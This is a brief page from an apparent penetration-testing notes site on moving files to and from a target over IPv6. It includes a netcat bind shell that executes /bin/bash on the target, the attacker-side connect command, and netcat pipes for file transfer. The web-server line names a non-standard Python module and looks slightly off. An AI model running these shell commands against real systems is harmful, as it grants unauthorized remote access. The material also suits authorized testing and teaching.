> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/enumeration/ipv6/transfering-files.md).

# Transfering files

### **Netcat**&#x20;

On the target machine:&#x20;

`ncat -6 -vvlp 4433 -e /bin/bash#` &#x20;

On your attacking box:&#x20;

`ncat -6 -v fe80::37a:61b8:958f:40fb%eth0 4433`&#x20;

**Transferring files to and from your target**&#x20;

`ncat -6 -vvlp 4433 > test.txt`&#x20;

`ncat -6 -v fe80::37a:61b8:958f:40fb%eth0 4433 < test.txt`&#x20;

### SCP&#x20;

`scp test.txt user@[fe80::37a:61b8:958f:40fb%eth0]:/tmp/` &#x20;

`scp user@[fe80::12b:41a7:832a:30bf%eth0]:/tmp/test.txt /home/test/` &#x20;

### Web Server

`python -m SimpleHTTPServer6 8080`
